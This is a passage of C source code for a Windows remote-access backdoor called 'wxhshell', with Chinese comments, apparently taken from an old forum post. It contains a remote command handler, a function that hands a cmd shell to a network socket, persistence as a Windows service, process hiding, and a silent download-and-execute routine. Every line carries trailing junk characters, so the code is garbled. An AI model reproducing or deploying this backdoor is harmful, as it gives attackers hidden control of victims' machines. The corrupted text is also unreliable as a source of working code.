  else { [O*5\&6  
v,w/g|  
    switch(cmd[0]) { +@D [%l|  
  X8l[B{|  
  // 帮助 O57n<J'6  
  case '?': { l1}=>V1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g2L^cP>2  
    break; cA%70Y:AV  
  } # JHicx\8l  
  // 安装 3~H_UGw  
  case 'i': { b['Jr% "O  
    if(Install()) Fy^*@&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *FyBkG'  
    else o>x*_4[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i/;Ql, gm  
    break; @!/w'k 8  
    } `Q?rQ3A}  
  // 卸载 P!yE{_%  
  case 'r': { X%Jq9_  
    if(Uninstall()) :lz@G 4 =C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Z>KrFO  
    else UD1R _bL}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5]yQMY\2)  
    break; zs!,PQF(  
    } +O P8U]~  
  // 显示 wxhshell 所在路径 ;&4}hPq  
  case 'p': { E O^j,x g  
    char svExeFile[MAX_PATH]; wi/Fx=w  
    strcpy(svExeFile,"\n\r"); ]kUF>Wp  
      strcat(svExeFile,ExeFile); \C;cs&\Q  
        send(wsh,svExeFile,strlen(svExeFile),0); /bm$G"%d  
    break; gj{2" tE  
    } urmx})=  
  // 重启 ^g/    
  case 'b': { Hq'mv_}qG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (VeX[*}I  
    if(Boot(REBOOT)) @{16j# 'R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xgV. <^  
    else { F|\^O[#R  
    closesocket(wsh); `l+{jrRb<  
    ExitThread(0); TZ8:3ti  
    } 5tUp[/]pl  
    break; S*,DX~vig  
    } |r2 U4 ^  
  // 关机 Wt=QCutt  
  case 'd': { %5<uQc9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .OI&Zm-  
    if(Boot(SHUTDOWN)) apsR26\^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SSH))zJ  
    else { Wj0=cIb  
    closesocket(wsh); ,S(^r1R   
    ExitThread(0); J`/t;xk  
    } F)dJws7-  
    break; =+24jHs  
    } 1&%6sZN  
  // 获取shell K,f*}1$qM  
  case 's': { aH7i$U&  
    CmdShell(wsh); 98 dl -?  
    closesocket(wsh); }pk)\^/w/  
    ExitThread(0); 8w-2Q  
    break; 2JY]$$K7  
  } ~,j52obR6Z  
  // 退出 hKa<9>MI`  
  case 'x': { G Y??q8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~*aPeJ  
    CloseIt(wsh); -3-*T)  
    break; ^e*Tg&  
    } G i 1Jl"  
  // 离开 iveJh2!#<  
  case 'q': { M*XAyo4 fI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S0-f_,(  
    closesocket(wsh); @)[Q6w`x  
    WSACleanup(); S#km`N`  
    exit(1); ]Rah,4?9f  
    break; U$zd3a_(  
        } QH~;B[->  
  } \YXzq<7  
  } s2SxMFDP  
mab921-n  
  // 提示信息 b$7p`Ay  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !e>+ O^  
} L!:8yJK  
  } }STTDq4  
BQ8vg8e]B  
  return; Ep>} S  
} e@6]rl  
`<Ry_}V  
// shell模块句柄 6z-ZJ|?  
int CmdShell(SOCKET sock) il8n K  
{ V\1pn7~V  
STARTUPINFO si; !U 6q;' )-  
ZeroMemory(&si,sizeof(si)); SX/ E@vYb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :%&|5Ytb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,\fp .K<  
PROCESS_INFORMATION ProcessInfo; Gm`#0)VC  
char cmdline[]="cmd"; %:/@1r7o>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xh6Yv%\@  
  return 0; gc<w nm|  
} #)3luf3G  
K_SURTys  
// 自身启动模式 |B{@noGX  
int StartFromService(void) }dv$^4 *n  
{ j\hI, mc  
typedef struct Py@/\V  
{ $O'IbA  
  DWORD ExitStatus; ;?h+8Z/{  
  DWORD PebBaseAddress; 1]&FB{l  
  DWORD AffinityMask; Ji#eA[  
  DWORD BasePriority; OrC}WMhd  
  ULONG UniqueProcessId; =Ch^;Wyt  
  ULONG InheritedFromUniqueProcessId; )44c[Z  
}   PROCESS_BASIC_INFORMATION; {s7 3(B"  
W(#u^,$e[  
PROCNTQSIP NtQueryInformationProcess; 4*U5o!w1{  
634OH*6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C0K0c6A (4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  `1`Qu!  
iNCT(N~.  
  HANDLE             hProcess; Tr@|QNu  
  PROCESS_BASIC_INFORMATION pbi; {D$5M/$  
;T\+TZtI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4 (c{%%  
  if(NULL == hInst ) return 0; /R(]hmW  
`R!%k]$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xqQLri}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o#K*-jOfiH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); # 4&t09  
xNd p]u  
  if (!NtQueryInformationProcess) return 0; `s8o2"12  
wJc`^gj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =]fOQN`  
  if(!hProcess) return 0; &cp `? k  
>bFrJz}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jwL\|B oE  
A\w"!tNM|  
  CloseHandle(hProcess); egmNX't6f5  
QOR92}yC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5AbY 59  
if(hProcess==NULL) return 0; eH ]9"^> o  
o- v#Zl  
HMODULE hMod; ]!X[[w)  
char procName[255]; lyD=n  
unsigned long cbNeeded; AM0CIRX$  
8F K%7\V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sq SiuO.D  
/.WIED}>  
  CloseHandle(hProcess); >{)\GK0i 7  
_Ie?{5$ng`  
if(strstr(procName,"services")) return 1; // 以服务启动 JT! Cb$!  
wq7h8Z}l  
  return 0; // 注册表启动 W#@6e')d  
} gHtflS  
/ K(l[M  
// 主模块 tIT/HG_o  
int StartWxhshell(LPSTR lpCmdLine) t3b M4+n  
{ jf.WmiDC  
  SOCKET wsl; y(wb?86#W5  
BOOL val=TRUE; _fdD4-2U  
  int port=0; t)5.m}  
  struct sockaddr_in door; 5\Rg%Ezl  
t$3B#=  
  if(wscfg.ws_autoins) Install(); zZW5M^z8  
!>#gm7  
port=atoi(lpCmdLine); 2fgYcQ8`  
q`3HHq  
if(port<=0) port=wscfg.ws_port; n/{ pQ&B  
Ga_Pt8L6  
  WSADATA data; Kk,u{EA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^#t6/fY.#  
KF6N P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {"2Hv;x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z(u,$vZ _  
  door.sin_family = AF_INET; VU1Wr|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pD!j#suMA  
  door.sin_port = htons(port); :NL[NbQYt  
XmP,3KG2{S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |~@yXc5a  
closesocket(wsl); p"6ydXn%  
return 1; wRZFBf~ :  
} S5:&_&R8[  
DL#y_;#3_  
  if(listen(wsl,2) == INVALID_SOCKET) { B@@tKn_CQ  
closesocket(wsl); WL|<xNL  
return 1; K^",LCJA  
} )%b 5uZ  
  Wxhshell(wsl); O)ose?Z  
  WSACleanup(); qnb/zr)p  
@ M4m!;rM  
return 0; ?,] eN&`  
9f/l"  
} Kf6 D)B 26  
6XHM`S  
// 以NT服务方式启动 K"[\)&WBG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AiL80W^=d)  
{ 6b%IPbb  
DWORD   status = 0; N{}8Zh4op  
  DWORD   specificError = 0xfffffff; ;n.h!wmJ}  
F vTswM>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,xR u74  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5i}g$yjZ<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lWH#/5`h  
  serviceStatus.dwWin32ExitCode     = 0; {>PEl; ,-  
  serviceStatus.dwServiceSpecificExitCode = 0; 0>46ZzxUZ  
  serviceStatus.dwCheckPoint       = 0; *&I _fAh]  
  serviceStatus.dwWaitHint       = 0; "Ec9.#U/  
?p/}eRgi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YNl".c  
  if (hServiceStatusHandle==0) return; (sI`FW_  
O)DAYBv^  
status = GetLastError(); 5wdKu,nq  
  if (status!=NO_ERROR) R+t]]n6#  
{ E^gN]Z"O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \3] O?'  
    serviceStatus.dwCheckPoint       = 0; ji\&?%(B  
    serviceStatus.dwWaitHint       = 0; y(/5l   
    serviceStatus.dwWin32ExitCode     = status; }I MV@z B  
    serviceStatus.dwServiceSpecificExitCode = specificError; 15En$6>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "LH!Trl@k  
    return; 6tjV^sjs  
  } 4<vi@,s  
!Eb|AHa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z,hBtq:-$  
  serviceStatus.dwCheckPoint       = 0; ~{);Ab.9+  
  serviceStatus.dwWaitHint       = 0; D SWmQQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uL@%M8n  
} fFoZ! H  
LE)$_i8gX  
// 处理NT服务事件,比如:启动、停止 bo@ ?`5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^16zZ*  
{ Xh}D_c  
switch(fdwControl) %C@p4  
{ >]%$lSCW\D  
case SERVICE_CONTROL_STOP: G,c2?^#n  
  serviceStatus.dwWin32ExitCode = 0; eMdf [eS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ml;` *;  
  serviceStatus.dwCheckPoint   = 0; *W^a<Zm8>  
  serviceStatus.dwWaitHint     = 0; 7lA_*t@y  
  { H'7s`^- >I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ASrRMH[  
  } wr=K AsH<  
  return; ,Vo[mB  
case SERVICE_CONTROL_PAUSE: [)dIt@Y&j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h:U#F )  
  break; q_ryW$/_  
case SERVICE_CONTROL_CONTINUE: 1X`,7B@pz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =yM%#{t&W  
  break; jN'h/\  
case SERVICE_CONTROL_INTERROGATE: _d!o,=}  
  break; { o5^nd  
}; CWRB/WH:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~(yW#'G  
} f [.'V1  
2"6qg>]-t  
// 标准应用程序主函数 Iu~<Y(8^q#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NI.ROk1{+4  
{ 7jQVm{{.  
$$W2{vr7+  
// 获取操作系统版本 6Z' K1  
OsIsNt=GetOsVer(); 9Li&0E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c0rU&+:Ry  
MxT&@pq  
  // 从命令行安装 ?*yB&(a:8  
  if(strpbrk(lpCmdLine,"iI")) Install(); NP.i,H  
vD:J!|hs(  
  // 下载执行文件 sf[|8}(  
if(wscfg.ws_downexe) { H?M:<q0|G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u*W! !(P/  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3A[<LnKR^E  
} k9<UDg_ Y  
vu91" 4Fa  
if(!OsIsNt) { d!}oS<6  
// 如果时win9x,隐藏进程并且设置为注册表启动 QxxPImubB  
HideProc(); jpS$5Ct  
StartWxhshell(lpCmdLine); 2kDv (".  
} .taP2^2Z  
else C& XPn;f  
  if(StartFromService()) njZ vi}m~  
  // 以服务方式启动 %8%|6^,  
  StartServiceCtrlDispatcher(DispatchTable); x{zZ%_F  
else T0"nzukd  
  // 普通方式启动 jF j'6LT9/  
  StartWxhshell(lpCmdLine); mCk_c  
:4Nv6X61  
return 0; iM;Btv[|  
}
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只看该作者 1 发表于: 2006-10-10
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